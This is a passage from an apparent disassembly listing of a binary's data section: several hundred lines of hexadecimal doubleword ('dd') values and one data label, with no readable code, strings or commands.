		dd 9E2803Eh, 0E681DCCh,	34D802FEh, 0A0C36020h, 8800400Dh
		dd 16EC3F47h, 0B1F7CEh,	0BC2BA286h, 40D8F292h, 56813Eh
		dd 8D8BBBB5h, 4C237Fh, 0A5DF880Dh, 0A2C64BEEh, 0F6EB3D3Ch
		dd 9B183EF8h, 0A470C1A6h, 0CB3F2850h, 0FF010640h, 0D85A0829h
		dd 6357F139h, 1DE75908h, 4243FF9h, 609A8BE9h, 11EE29D6h
		dd 0E0F49B93h, 0FFD0EF8Dh, 34941080h, 4C80EED7h, 14468DDh
		dd 0D0047D4Fh, 0F2850618h, 811960F8h, 8F41F78Ch, 0CC401161h
		dd 4F433h, 0DC34959Ch, 4D151F22h, 14D4B237h, 0A08C68B4h
		dd 4743D0EAh, 80198CCAh, 57FB1443h, 5F2A883Ah, 5AF8F8h
		dd 2215F282h, 0A319AA07h, 969218C0h, 7493271h, 0E18D655Dh
		dd 89C8C629h, 8648C550h, 39F948C9h, 64227128h, 9C1E1BCh
		dd 0E9126CBh, 4CA0A8F3h, 58AF3D53h, 6728FE80h, 7A0B2AE7h
		dd 0F71FEF1Dh, 0F5137987h, 7898E235h, 1650B038h, 1FD4FD09h
		dd 851F0354h, 1EA066D6h, 0E4022DF7h, 11B6146Bh,	0E449865h
		dd 5A45072Fh, 0EA070D5Bh, 0EDA7C104h, 34A64438h, 8008010Ch
		dd 8E736E0h, 1530A6B2h,	859DC7Dh, 5621AF3Eh, 57071FBEh
		dd 0E9A05514h, 48F1E412h, 0A48A41CCh, 83B5310h,	0A290534h
		dd 0D9308D4Ch, 7931935Dh, 0CD6F283Ch, 0F609E319h, 833149Ah
		dd 51A317E1h, 424EF170h, 9C6DC188h, 52F103F0h, 860A0C3Eh
		dd 688CA327h, 0DA7D0350h, 2842C372h, 95832DCh, 48562457h
		dd 224C914Dh, 0A14A444Bh, 9F12A089h, 0B5489E24h, 0B322B491h
		dd 89A9B244h, 27A712A8h, 0CFC9C0A6h, 8406D969h,	85D75BEBh
		dd 1AB21DC1h, 84C8145Ah, 4974BB2h, 8520E59h, 0DFBC8059h
		dd 0FA31E6Ch, 7288B3ACh, 298ECC8Fh, 6AA2B201h, 5A1DD026h
		dd 0F06CEE00h, 8B37C58h, 0E1847459h, 20E38CD1h,	1D047440h
		dd 987CD26h, 66A8F00h, 5870F2B1h, 353F2225h, 4A1FF48h
		dd 1B64D5FFh, 19C088ACh, 15CE67D8h, 0F831EE22h,	38B2527Fh
		dd 0FB0843ACh, 8F81CF07h, 0D9060D62h, 7845095Fh, 42F1804h
		dd 4880BBEAh, 0BA826E62h, 6078001h, 0FECD3BB4h,	5F72185h
		dd 0C0382A88h, 7943994Ah, 839601C7h, 74A3163Ch,	6B1880C6h
		dd 0B239A4Eh, 9E0C0AB2h, 1F1CC78Ch, 4A170792h, 51C6B01Dh
		dd 28A9A31Bh, 0E49C7ABEh, 0C30D18E6h, 0A0AA416Fh, 4830A967h
		dd 0D772DDC0h, 5FB20060h, 7DCB1635h, 0EF007387h, 0C266F626h
		dd 113E87Eh, 7FD2CE0h, 0D0DAB1C0h, 0C0012E4h, 0A26D22Dh
		dd 1C28E7FCh, 0BEFF18FDh, 36793903h, 44A12CE9h,	72E4D8DFh
		dd 10B873Ah, 7338D835h,	40800E2Bh, 0E3FE093Ah, 130A411Eh
		dd 408824EDh, 0E1FE481h, 49E0E201h, 5C37C59h, 27732CF4h
		dd 983026EBh, 38EE150Ah, 40671CFBh, 25D5A2h, 13F688FFh
		dd 0F720730Ah, 59656015h, 0EE8BEC2Ah, 4941A4F4h, 0EFD81547h
		dd 0BF18AE06h, 0D200A466h, 73575BCh, 0AC8A3978h, 79130E2Ch
		dd 728EE927h, 0DB0584B4h, 632E360Dh, 0E4E0FF38h, 8C0EDB53h
		dd 45E912F3h, 147405F4h, 2E874070h, 0E36B3EDBh,	0FA24EB87h
		dd 0F70D4238h, 6F6F8A0h, 4B268477h, 0D4559C59h,	0EB1AD200h
		dd 0E97EC45Dh, 15CE0E72h, 0EA06D88h, 3671D10Bh,	3414FB26h
		dd 792DE304h, 394000D7h, 0FA726CE6h, 0DB07243Ch, 25768798h
		dd 0DB3910Fh, 3EE8F1FCh, 7850F086h, 66FF0F3Dh, 3B09060Ah
		dd 474B2090h, 0E25DB3Eh, 9A277D01h, 4774B050h, 0CB6B7CB9h
		dd 1C97B290h, 164A095Dh, 12F63000h, 0EC1D5273h,	56A5E309h
		dd 58A35A98h, 0E1E9E37Ah, 360882FBh, 601DCF42h,	782772D0h
		dd 12EC0F34h, 83FE2CF3h, 51E4080Bh, 35E002A0h, 0EDD12A0Eh
		dd 487C9D36h, 0C9F008Ch, 0E814FC12h, 6E12C2Bh, 0FDE90070h
		dd 73F1FEDh, 0D0EF21E6h, 0C632AECh, 12E23510h, 18E13360h
		dd 0E80650ACh, 79FD1E0Eh, 0B840FB73h, 0F6FCF53Ah, 1FC8C212h
		dd 6855F72Ch, 0BFEE07D4h, 0A0C194C4h, 122A38E8h, 0EFD0B32Ah
		dd 0D0F829B5h, 28F0E409h, 0C0D4145Ch, 0E2D20D6Ch, 60FB5851h
		dd 0D40015CFh, 2826EA38h, 20740812h, 8FABB874h,	5CF15FB0h
		dd 0D184E12Ah, 13E820EEh, 0F10F1F0Ch, 0F2F73079h, 0A2625E6h
		dd 53E47054h, 0B0BF0CF6h, 2CE4664Ah, 5C40D28h, 852AF586h
		dd 61DC13B4h, 363828E4h, 0B0F92C0Ch, 3FA3609h, 0A7FB35E8h
		dd 0D7FD0F83h, 96098F8Fh, 1C81C424h, 98B3A28h, 0C42AEE08h
		dd 5006E6E4h, 0C001092Ch, 0E8B61200h, 13423835h, 60D24D8h
		dd 59FD2610h, 176C5895h, 2406F71Dh, 0A90B120h, 303C482Ch
		dd 0FE0B807Ah, 3430F3DFh, 0F8256C78h, 1412F7DEh, 0DC8036EFh
		dd 29B6116Ch, 241826D9h, 630F0B50h, 0D8F50CEDh,	151605E3h
		dd 84C9D70Dh, 43F243E0h, 7CC4D32Dh, 5A2C182Fh, 0C3FD80C8h
		dd 7313FB43h, 7D50B4h, 29D22CEAh, 0E258FE0Dh, 0CF1417D8h
		dd 1DE76440h, 0AAE42AFDh, 94F8D918h, 520050C4h,	51C86948h
		dd 792E07DCh, 76092025h, 0F0A0752Ah, 2072D1FCh,	7336E902h
		dd 7913F72Bh, 0D498273Ch, 2600C65Ah, 43D50D0Ch,	1EEE07DFh
		dd 32CF52Bh, 7938D035h,	0EB37E9C0h, 1A282601h, 0E278ACFh
		dd 0EF720F0h, 0E23C1F07h, 772E2118h, 390C361Eh,	12DF3582h
		dd 0E480E9D5h, 0FF83C82Dh, 6804F784h, 0E074DB18h, 1F298010h
		dd 885C7634h, 35E017F8h, 340B50DDh, 7212F3E0h, 89E090BEh
		dd 0A3E313E8h, 81C0D8F0h, 3EC4FE40h, 0C790A1Fh,	0E8020E52h
		dd 3978E421h, 28E00805h, 0C812010Ch, 90E819EBh,	84E06C37h
		dd 80E1D6B2h, 9151380Ch, 0D27C7C10h, 7307E707h,	864FFD19h
		dd 0BE28FB2Bh, 86053A60h, 1EE0809h, 2AE6FCDCh, 262080F4h
		dd 1378FDF0h, 27E7E8FBh, 0B80BF624h, 1988E0B8h,	44DAC4A1h
		dd 788C2080h, 0EC941827h, 54037769h, 0D8BE2825h, 397288C1h
		dd 52D007F5h, 35D0A0DAh, 0EB13000Ch, 0EE15D951h, 498F328h
		dd 80A0D7F0h, 2D050B12h, 3814C82Bh, 80F0B010h, 33D5012Ah
		dd 37195FF7h, 813737DCh, 0A02D281Eh, 0C9CC8E9h,	1C915822h
		dd 6B5A1B89h, 0A300560h
		dd 0A2522AD1h, 0EF3907D4h, 0E202F421h, 53F49A12h, 0F0A12764h
		dd 3CE3140Ch, 38E03C30h, 367906EDh, 1E8390Bh, 29E238D4h
		dd 77E413E1h, 0D6A0AE64h, 0DC53045Dh, 8180BE04h, 0CE71701Fh
		dd 0F3F1E31Dh, 0C6FE8CFh, 8E1106h, 48E7C05Ch, 0BBC81768h
		dd 0F0CEAE18h, 91FD41h,	67D7361Eh, 6FDEEAFFh, 210308CCh
		dd 1EC800B0h, 0C94E21ECh, 80394865h, 0ADE88068h, 0BA996DE9h
		dd 0F3F2000Ch, 70F05104h, 0EC01B246h, 5ADBAEF4h, 65D4D4E5h
		dd 1F31BA0h, 6CB9B8EBh,	0F8E2E489h, 0D5266A00h,	0DAAE571Ah
		dd 93B800BAh, 1C3145Eh,	5D05F8E3h, 0C0A6F268h, 463C203Ch
		dd 0D6CD1D07h, 94DFE3CAh, 313FFC80h, 0CA36492h,	0AB5CB811h
		dd 21C0F008h, 0FB30A79Dh, 695805C7h, 477B4654h,	8082F2B0h
		dd 45AC7C8Eh, 55365317h, 62169400h, 8FD59Eh, 4D1B80E2h
		dd 0EC43C95Eh, 0B87639C0h, 66FB7F8h, 57DFCFBCh,	7C6008B2h
		dd 0F8C0AD21h, 6F7B1F15h, 0CB49C087h, 35582681h, 0C35B790Ch
		dd 54CF58C5h, 5AC4FFh, 0D4D872B4h, 0F378C7EEh, 0E9CAFE00h
		dd 37461C92h, 67143945h, 8CFC9B14h, 1838B702h, 0D4870ED8h
		dd 5F02A2D6h, 6EEACB9h,	5E1F2268h, 56FA880h, 0EC11C8AFh
		dd 69004452h, 0E42AB2F4h, 48065CF8h, 14363EB8h,	957D0121h
		dd 4DE6CA62h, 0B75F7010h, 7BFDCF00h, 55DE171Eh,	0ED390CA5h
		dd 6551E980h, 0FEFD6418h, 2AFB68C8h, 39CEE4Dh, 2BF6A777h
		dd 64302CE0h, 6B9520B8h, 30BB6A25h, 87DE0840h, 39555B81h
		dd 58243C18h, 8E100D6h,	0FB693DACh, 59C0D714h, 15ED7963h
		dd 5F302F0h, 38A63630h,	0A1C99h, 0C0DBBB86h, 7E7897A8h
		dd 0EA00028Eh, 0B39040D9h, 488A796Fh, 150CBCE0h, 0E5A0DF1Bh
		dd 932C3B8h, 45C6D1E3h,	60EFE450h, 5465EACCh, 5436D4EBh
		dd 0F6B001h, 0A50D1BC5h, 506FC3AAh, 0CC6AD324h,	46FF4354h
		dd 940A23E4h, 0EDC81C71h, 18611E12h, 0C180807h,	0D1956C14h
		dd 1DEC03C8h, 0A3A06632h, 0C97000CAh, 82BD316Dh, 34D3418h
		dd 0E2584624h, 96D03BBCh, 1D8082F0h, 8E2C1890h,	76F138E2h
		dd 998D5D02h, 45471766h, 31F46490h, 0FC47AC2Eh,	8688A61Eh
		dd 5F22C560h, 3987828h,	23201C8Ah, 0D0242B3Eh, 9381AC11h
		dd 0C6D7401Eh, 0E717E631h, 1B220CAh, 6E0279ECh,	0F018807Bh
		dd 0F2F80CFBh, 0B7BBA200h, 0A96C29D9h, 0C0CCA0A7h, 0FF787182h
		dd 6E4E2880h, 35FF9464h, 5EB050E1h, 0C72F25EEh,	1465459h
		dd 0ED1FBADEh, 5D42283h, 17056467h, 3B7980Fh, 95F101Ah
		dd 0BD5E4C50h, 0F8BC88B0h, 466FBB3Bh, 0B1007222h, 0F252F8C4h
		dd 3E3073h, 19175668h, 0A1C8BE37h, 8D3CDF74h, 9A279F81h
		dd 72FF6CC6h, 46D63AC8h, 7FA891A8h, 3AD406DAh, 0E0C4A44Dh
		dd 98F97020h, 0E61A2088h, 3BDB6213h, 3AE41E15h,	0BB2D81A4h
		dd 0F18AC782h, 8989FF9h, 0B06F21A7h, 62002D7Ch,	0AFCD7A6Dh
		dd 15490h, 0DF2A5CBDh, 3444BED5h, 72A82E18h, 8036B288h
		dd 2074863Bh, 323C3300h, 0B6378EF8h, 0EAB514ADh, 0AC10D46Dh
		dd 0A2D90656h, 0CA0DC22h, 8B86881h, 71756318h, 0A75C9E50h
		dd 0B41E3543h, 0E3825E2Dh, 7B19FF11h, 40C4D8ACh, 663C688Ch
		dd 0AB216C14h, 2FF6049Ch, 0EA00ECACh, 69ED4519h, 0C898A455h
		dd 0AB49BBC7h, 1EBC8044h, 876FD73Fh, 1ECB1D00h,	69E153h
		dd 8D9133F2h, 0D21AC85Ch, 0CD8EC300h, 3457178Bh, 28DC0813h
		dd 680FBA77h, 88515296h, 0AD3686ECh, 6E90C9h, 122261AAh
		dd 68A22DDAh, 85ECC0D0h, 74C88EC2h, 1BD312E2h, 41743723h
		dd 0E4C41D8Dh, 81014463h, 0E9BD1237h, 0E311166Bh, 776824E4h
		dd 9E3B9600h, 710F017Fh, 0F15430EAh, 0D545ECE1h, 0FADE340Ah
		dd 15C1D8AEh, 6424F96Bh, 0BE991365h, 0A364010Ah, 4AE6D810h
		dd 0D38100E4h, 13142DD6h, 2ED70A27h, 280D4D0h, 6ED519C9h
		dd 0B35CD44Ch, 202409B8h, 2D400ACh, 981D21AEh, 2B54614h
		dd 0D73D1E92h, 100131BFh, 0C1EC9AFh, 0E083ECCBh, 570ACAF1h
		dd 68A75F45h, 4018C44Eh, 87584090h, 64302A83h, 6C451C60h
		dd 0DB1704B4h, 0DF08C227h, 6E1FCA20h, 6C640D66h, 42C0A4A5h
		dd 6630B924h, 0D741111Eh, 83F7885Fh, 0E51EBDB3h, 0A53BEB0h
		dd 0C4A79728h, 0E3C6F445h, 5C91CC93h, 1981EF71h, 31DD80D3h
		dd 8FF7D973h, 8BCD6DA8h, 3EB430ADh, 64931131h, 80F788ABh
		dd 8930A69Ch, 6600926Fh, 742850C1h, 3BC6D26h, 0EA1A19B5h
		dd 14F09B67h, 0E0C0A20Bh, 0DE16A786h, 0DA9A24BEh, 0CBC7646Ch
		dd 0C103C8E4h, 0FCCE7E26h, 19C25578h, 0E45F14BDh, 9849054h
		dd 177E6096h, 0F8A70806h, 5D3D2A00h, 5219C34Bh,	71C0A0DBh
		dd 475E80AAh, 6098B655h, 94BA2174h, 0C058334Ch,	7E68A4A2h
		dd 108F6094h, 1E614EB4h, 0B66E2B00h, 0D413EA44h, 99BFA280h
		dd 6AD44514h, 0DC714976h, 28F81893h, 60BAE32Dh,	75485200h
		dd 0B5BEC122h, 0EEB1023Fh, 0B2241536h, 72A2D980h, 54EE3D96h
		dd 605AFE00h, 5BCE7FD6h, 0B76100EDh, 46C93299h,	0BF1DAEE8h
		dd 78C0802Ah, 617BABADh, 0D125305Dh, 0C7CD5228h, 54B3E800h
		dd 6C5E8BEDh, 0C608CC3Dh, 0CF009721h, 114D8DE8h, 6CBB3Bh
		dd 75DEA2BAh, 0E2CA0F9Ch, 8BB7D406h, 307DF5h, 1E5401EDh
		dd 7933FA8Dh, 6B6669B8h, 210508h, 931E5C38h, 0BFBD34E8h
		dd 8383393Fh, 0A822F437h, 0A873B8h, 52518B2Eh, 5B9DA627h
		dd 1AFAD706h, 0A020C6D4h, 7C710C34h, 0C0A1E45Ah, 4E626158h
		dd 0BE009B15h, 3B75BFB1h, 0ECB2EE58h, 925018C4h, 227A4895h
		dd 48C1BC90h, 93365718h, 4F381880h, 2C1AEA2Bh, 2FF7DD0Ch
		dd 3E62A4B4h, 18058ACh,	0F4AA0327h, 44AEDCF2h, 8DB7DB15h
		dd 1E5E8084h, 8C63FA8Bh, 90220B44h, 0FA7F6FEBh,	0F976DF40h
		dd 0A62A5A8Ch, 5403E87Eh, 13048F12h, 0B469E061h, 0FEBB1F0Dh
		dd 8620B06Eh, 16AF4D9h,	20804A0h, 0F02E0362h, 183E7174h
		dd 0ED7B17h, 3028C668h,	0D9F0855Eh, 5F14A3B3h, 10B4BFA5h
		dd 0C440B69Ah, 70D55610h, 1A36DF03h, 88095577h,	3059617Ah
		dd 0EAE8CB24h, 0EE19EB54h, 0E8339320h, 99FB0164h, 0D8157B63h
		dd 50DCC92Eh, 0EDBB5AB0h, 56198F4h, 21709010h, 136848F2h
		dd 308600E8h, 4EDA75B3h, 700E5FAFh, 0C6ED0AF4h,	1E05C0Eh
		dd 0F61FC64Dh, 81AB4E2Ah, 33EDA4C0h, 49805ECFh,	51BC8B72h
		dd 1D0C81C4h, 891DDABh,	9C21C04Bh, 0E209BC83h, 5705FFE2h
		dd 0AB4648C6h, 4D338C00h, 0A477F15h, 79F4BC50h,	345980E4h
		dd 0A99AA4E6h, 76386D48h, 0F9D8C731h, 29807AF4h, 57249C4Ah
		dd 8D015C88h, 9881AB3Dh, 84430F3Fh, 7B0A84A4h, 0C1465EACh
		dd 76F5F10Ch, 92003669h, 0BE0C196Ah, 142FDF86h,	0E0C7F368h
		dd 7AD12702h, 7C461B54h, 28373D00h, 214BD9B7h, 0D6AA58E2h
		dd 9002CC19h, 41B04CEEh, 599C5D09h, 97B820A8h, 3CA12B5h
		dd 7DB1812Eh, 8309936h,	8C76219Fh, 0E5850012h, 22341C02h
		dd 2B63C2D8h, 373F558h,	9E4D21B1h, 0A3A0AE9Fh, 14EE9A1Fh
		dd 0E1F78B00h, 8E6EB5AFh, 917C60D9h, 0EBE76084h, 2AFA0905h
		dd 0F422BAB4h, 0BC853031h, 91C45F10h, 0BC9D92E0h, 0B80E6804h
		dd 6CC75C47h, 8B77C2E1h, 9F029836h, 426286B4h, 0FA4F8080h
		dd 0F705EF9Bh, 88BE40C6h, 6660A00Fh, 2A30ECE4h,	0ECCC225h
		dd 1CC0E1A7h, 7E5B38C0h, 0C90090BAh, 53188CADh,	0AC191BF1h
		dd 86540D88h, 40686E5Ah, 0E6E276B0h, 0E8B0FE31h, 0C501CF2Ch
		dd 784AB058h, 3E76F2E1h
		dd 52037BECh, 5DE8FDDEh, 0D2A4E00Ch, 66C89D7h, 6A288943h
		dd 0E81070D1h, 0AE08A162h, 670359C2h, 0B040F3DCh, 9DB6F86h
		dd 3A2845B6h, 237098A1h, 0B89C5159h, 0A7FBEC2Bh, 0BC33F1h
		dd 7AF0E34Dh, 0E894A8F9h, 64F148B3h, 0C76212Eh,	57D96E8Fh
		dd 902452h, 815CBDEFh, 215A67h,	0B2D61131h, 0F800A82h
		dd 73D74705h, 6418C1A4h, 814DCEB0h, 0F2E83056h,	0B1DB9D40h
		dd 180D7940h, 241A715Dh, 8620A244h, 0D1A55BEEh,	82E69207h
		dd 0A8F0FB6Fh, 9D6CF87h, 785467E8h, 4B268802h, 74C82000h
		dd 10949216h, 506D7A8Fh, 0F4074AA8h, 0B02E42F7h, 12D31071h
		dd 0AEEEED00h, 0CE30DF7Ah, 3B61C0A1h, 0CC9D0B74h, 0F1061D20h
		dd 0FC8088ACh, 0C180BAE0h, 0F8531248h, 0D8380044h, 0F2FC85B6h
		dd 20DB8830h, 14086152h, 20258E67h, 180742E1h, 0C6A415C8h
		dd 8D03B0D3h, 0DC255EC2h, 18E61100h, 484F1646h,	0B6C8006Bh
		dd 0C38A8551h, 2B4C1B5Ch, 229DDD6Ch, 0F399B43h,	89FA8B70h
		dd 788AB2ECh, 1F8484B4h, 0F0CDBCDDh, 1A149681h,	0BAC464C0h
		dd 0EF682C05h, 79C06DCEh, 488E28C4h, 8A5B0ACh, 88C0CEF4h
		dd 46C452BCh, 772279h, 5EBC8099h, 678FFE78h, 0FA5DA314h
		dd 119410DCh, 0C975F418h, 9300655Bh, 0BA506FDDh, 45CEC1Eh
		dd 98FE5F11h, 30CC8994h, 58C5A7Ch, 54B0E8C6h, 0A0CED5h
		dd 85E8CE90h, 93399DCh,	67631BDDh, 20CCA005h, 50BC8A64h
		dd 1189C423h, 829F0575h, 0C480AEBCh, 3FCA2B01h,	0EF3FE58h
		dd 0C3A47FDBh, 0F6DE0931h, 0CF6424A3h, 1FFE08A4h, 9D053DCBh
		dd 5DEC4611h, 0D4A13141h, 0C068485Ch, 54B2E80Bh, 1DE41CE5h
		dd 80E8C896h, 0DC4C369Ch, 0CE30B10Ch, 56476941h, 0F37D0F2Ch
		dd 0DC61B982h, 0CA2EB5DFh, 0C4E06CCDh, 0EEFAF7E4h, 7498D0h
		dd 9CB16DDh, 0A4CF7585h, 5404DE42h, 0CC4B5EF6h,	7C14AAA0h
		dd 0D0945F27h, 10BC10FCh, 0ABE9520Fh, 9DFEDE82h, 0E32E98A7h
		dd 203E0803h, 39D93316h, 402162B6h, 0A6211C88h,	708345C6h
		dd 275043B7h, 0A4BC88A4h, 0F440B941h, 8344AAB3h, 86BAD9D9h
		dd 7F5A6CB1h, 10DC4C06h, 70446738h, 48FC2B52h, 84CE10C4h
		dd 0BC2AB804h, 21F896C0h, 6240C708h, 0E6FB00A0h, 2E4459BBh
		dd 792CC818h, 6BDE750h,	865143ABh, 7C0D38AAh, 48BCE0F2h
		dd 418E0460h, 0ED99879Eh, 20F922F4h, 1928D2CCh,	0ED60A9B6h
		dd 6C2CCC15h, 0CF466890h, 55BC8F07h, 4AC478C4h,	0BC879840h
		dd 0BE004411h, 1CDD885Ch, 0B8C9BF05h, 0B62D0044h, 0C0FE5DF1h
		dd 6938E7CFh, 181325DDh, 52E1DEC8h, 5403CCA9h, 7C1EAEDBh
		dd 83AC904Dh, 53A6FFDEh, 3B005429h, 2E9D7BC4h, 240127F6h
		dd 46D9586Dh, 0E0411C52h, 3207BA78h, 0D8A162D1h, 0E81EA840h
		dd 0F0102221h, 5A1C6380h, 0D180E948h, 8F1871h, 9EFE1804h
		dd 9D7F47E0h, 0CF54A15h, 0F0C900C4h, 92D47BE7h,	0B91D1768h
		dd 0CA440556h, 0E67CC026h, 602DC10h, 0A57A83A4h, 51506AC0h
		dd 18CB71F0h, 9FBD00DFh, 41B38011h, 5A285320h, 7480A451h
		dd 0DC26F477h, 0D1083C8Dh, 12411D5Dh, 0B1088C80h, 2EC61208h
		dd 409EC4A1h, 9D12886Ah, 0C3BF1D95h, 4065C435h,	31F4D242h
		dd 17C7E841h, 15A7FA53h, 9C47CF39h, 72893Dh, 2066DC4Ah
		dd 0CBB1F960h, 6838A8C2h, 0F6C883AEh, 6CD19DF2h, 36F8E4C6h
		dd 12C40234h, 73CC8B4h,	0ADFD0C48h, 0A0BEEC91h,	675A247Ah
		dd 0DFD8017Ah, 70873AF4h, 6D63BA30h, 747C7B99h,	0E94FF0F8h
		dd 50C03700h, 44BC961Bh, 42684AC8h, 0F2FE546Ch,	80B898A9h
		dd 0B3122CD9h, 6C67B83Ch, 0CE3816DBh, 0A1892820h, 102068C0h
		dd 1228335Dh, 18400EF4h, 57D58C2Dh, 2CEA00EEh, 0C17FC69Ah
		dd 0C83F6F75h, 8BE21F35h, 0E7263DC3h, 0A4B80C6Ah, 24D9A9DFh
		dd 0BC590C0Bh, 10B8046Fh, 30432CA0h, 70610858h,	0C4A84C24h
		dd 39C0D93Ah, 0F411FB66h, 4EC00D6h, 9E4A0877h, 6125E4B5h
		dd 485C101Ah, 5A834066h, 219CBD54h, 0AF520274h,	0A2F40090h
		dd 5382A7C6h, 92522E47h, 0A467CF0h, 0EA90B000h,	4DEE92BEh
		dd 8D2454B0h, 5032D403h, 1E5F3082h, 6BFA8413h, 210058CBh
		dd 0A9C61E67h, 31F66EE6h, 0EF6CC003h, 0A8B8B7D4h, 0A221825Bh
		dd 830C84D4h, 8B48898h,	892ECB12h, 69409BC4h, 0FAC3128Fh
		dd 6909859h, 0B79A5864h, 50CB64F8h, 0B800B087h,	82A46A82h
		dd 0A08E058h, 0A0F61518h, 3B16E860h, 8D488285h,	9E3D1360h
		dd 0DDCCE804h, 6C5BBD02h, 0CC99504Ch, 1318C8D1h, 11042200h
		dd 632157Dh, 1A4B0588h,	92BEBCFAh, 18C8E57Ch, 5881627Dh
		dd 0A8501103h, 0F55CDD6Ch, 0C5A48554h, 0F9DE4088h, 0A845BC54h
		dd 0D8D2C89Dh, 408E050Bh, 0A2BB6C8Ch, 756E6D71h, 6EF6C210h
		dd 14547273h, 0F8E5A8DEh, 1D4E200h, 0BB40B546h,	0EA26C0Ch
		dd 20CEF85Bh, 0C01ED49h, 3E245FB6h, 27301B11h, 52F50089h
		dd 0D56C03F7h, 97245DD0h, 0A208F444h, 21C100B7h, 0C2AE5B3Ch
		dd 563C3CBAh, 0B0682B8Dh, 0CCA65A0Fh, 3282074h,	2A71ED55h
		dd 784BEC38h, 48235C2Fh, 6C968505h, 0CFE4EC04h,	2A8DC70Ah
		dd 0FAF609B0h, 0E000EA04h, 2AFE5AB2h, 0C4A16060h, 0DF8C7A40h
		dd 37E80F29h, 3AC0017h,	9B6602BDh, 0A7E76013h, 48889CCBh
		dd 0B9DC1FC0h, 24B898DFh, 648888Fh, 0E88967E3h,	465E909Eh
		dd 5E4E0109h, 2C67B23Fh, 0DEC4E8E4h, 0D0F513F0h, 0EAE3E5C0h
		dd 858DD539h, 5A86BB57h, 0C65E0090h, 7664E28h, 844DC298h
		dd 944CC1EBh, 0E81C3DCEh, 0CDC80174h, 38F02EE6h, 99F4321Eh
		dd 77102818h, 0B94893AAh, 0A0A43F38h, 185260D1h, 0FE5F04F5h
		dd 6739FA60h, 3D44912h,	7D7B9507h, 7954C3A4h, 645AEEA0h
		dd 1838F04Bh, 0B1739230h, 22933C78h, 8C9C209Fh,	9D05B26Ch
		dd 510EFF0Ch, 0F2F4EC02h, 657C7234h, 678928ECh,	8F1E30CCh
		dd 448C43FAh, 5A003E06h, 6EA49F1Eh, 6036DCDAh, 0F13C980Ch
		dd 0A12D1789h, 94DC8A50h, 0BC121A84h, 0EC815494h, 8C0880CAh
		dd 1E510F8Ch, 38F2FA8Ah, 59002308h, 0C92B361Eh,	1DF43C0h
		dd 5A758FF1h, 33ED7645h, 3093B2C0h, 0FD3A4501h,	9A53007Fh
		dd 0D98EF9F0h, 0B0065084h, 2AA610BCh, 1D20134Dh, 0C7C8008Bh
		dd 0AB5462CEh, 4AF0605Ch, 3CCA81A8h, 8FB3F80Ch,	502FB3E4h
		dd 86033AE0h, 20645738h, 0A090B602h, 80C6E81Ch,	0A1005ABDh
		dd 0F34F144Dh, 6E40D8ECh, 0F9D8C80Ah, 0DCA871F4h, 0E51E46EEh
		dd 78C0EA09h, 40D1AABAh, 3F230214h, 0F68E5A9Fh,	154FB0A0h
		dd 0E5485EF5h, 9AFA1A20h, 92E8D178h, 80D08153h,	440110CFh
		dd 24125CAAh, 0DD482E12h, 0F3986100h, 727E90C1h, 284D12B0h
		dd 7CCCB856h, 0D81A1060h, 2D4701BCh, 5C7A0EDh, 82748093h
		dd 27E38240h, 7EC46017h, 0FC77C800h, 5160447Fh,	2C1847Bh
		dd 8F5EEE18h, 538ACC46h, 0F0909819h, 16470B38h,	20091EFEh
		dd 8E0B3464h, 0CA10D4E9h, 5C518Ch, 56F22309h, 1A016A2Bh
		dd 0BE2E11B3h, 0D42DDD63h, 3CA4A9C8h, 58605812h, 2CB6E8C4h
		dd 70F0C554h, 0E850CC92h, 6600A19Ch, 0CD426D53h, 4C70321Dh
		dd 438A942Ch, 84424B6h,	0F4097434h, 0DFF44095h,	510A0420h
		dd 0E27CDAA6h, 80402290h, 82EC2FA8h, 0E142A0C0h, 0F49D6902h
		dd 64CF401Ah, 22120C4Ch, 0ED11BE50h, 46217018h,	0C0D62581h
		dd 4B7109B1h, 1F05556Dh, 7D1CE82Eh, 0C89E6CD5h,	0DC580780h
		dd 5B00251Eh, 0B6CA683Dh, 92035CC1h, 4068B428h,	48CC986h
		dd 9313C499h, 0F18EE443h
dword_4FF844	dd 7B3117C8h, 44645060h, 0C9128A80h, 448C992Eh,	8D00779Dh
		dd 0F1896912h, 60BEF65Ah, 5C57705Dh, 805F8220h,	0C76CD444h
		dd 0AFEEBD02h, 0BCC408Ah, 4485368Eh, 3974A1A0h,	0DCF4B9F4h
		dd 6FD50297h, 2C216418h, 298258C0h, 0E3D2A480h,	0F4773180h
		dd 5A6D8DE6h, 47256F78h, 0F228486Eh, 0C5ED40B8h, 0BAA85008h
		dd 2F10044h, 0B8FA62C9h, 3892D44Ah, 0F410802Bh,	2E3110DCh
		dd 2F5411A8h, 90FC4824h, 0CC020E0h, 10CC1C52h, 127C6C2Ah
		dd 94FFDD0Dh, 30008124h, 0AEBC0008h, 95C9E6Eh, 282045CEh
		dd 6554153Eh, 0D399200Bh, 0BAF48EF4h, 44906789h, 4F456009h
		dd 3FC8003Ah, 26E8B431h, 582DAE6Eh, 6A38A1F5h, 27F497A7h
		dd 3D15021Bh, 0F49F8BFAh, 54008CFAh, 20B0A462h,	66350Eh
		dd 2AA5BCB6h, 3349260Bh, 0B4519128h, 1086FE22h,	0DC7E41Ah
		dd 0F84C2643h, 247950EBh, 90624C82h, 2419568Ch,	25F01300h
		dd 0C82E31DBh, 9DB4A584h, 60981337h, 16506590h,	7C0210BEh
		dd 91CD1822h, 0E215BCF0h, 0A28C0010h, 8D212FE9h, 1791258h
		dd 31240A14h, 7286FE4h,	0A4C19D02h, 754CF2DAh, 2088983Ch
		dd 8C04166Ch, 0E0EAFA60h, 2CD220C0h, 20749052h,	0DE0F1250h
		dd 0AC4E7A0h, 8F64E0B8h, 891EE067h, 448C53FAh, 580A3C0Eh
		dd 949D1F1Eh, 7B2C4011h, 0CB465EFCh, 97C93B00h,	0D8046E37h
		dd 90DBA42Fh, 3FFEB0CCh, 6797C512h, 886C8BA7h, 0F2D8C376h
		dd 9ED502E8h, 0DC905701h, 21B25ABBh, 0E04CEDC5h, 0AD17154Dh
		dd 34949478h, 10C48EC6h, 0BDC9E100h, 0B4DB4C7Ah, 82FB075Dh
		dd 612BA699h, 2BCA1FC6h, 281C5408h, 8476E228h, 23949453h
		dd 0E8CA0166h, 193554B4h, 32AC20EEh, 0B21C1FE8h, 76C0C4F0h
		dd 0B48D25BCh, 20DE5986h, 207AA056h, 614CADE3h,	154C10C0h
		dd 0B4A8247Ch, 3097CB88h, 0E5800491h, 68962732h, 0DC03540Fh
		dd 2AF8F95Bh, 8E8A81BDh, 117C7BEEh, 0F8DE1485h,	102E044Ch
		dd 0B13626Bh, 3489E16Ch, 20317C11h, 1B408C78h, 1EAC938Eh
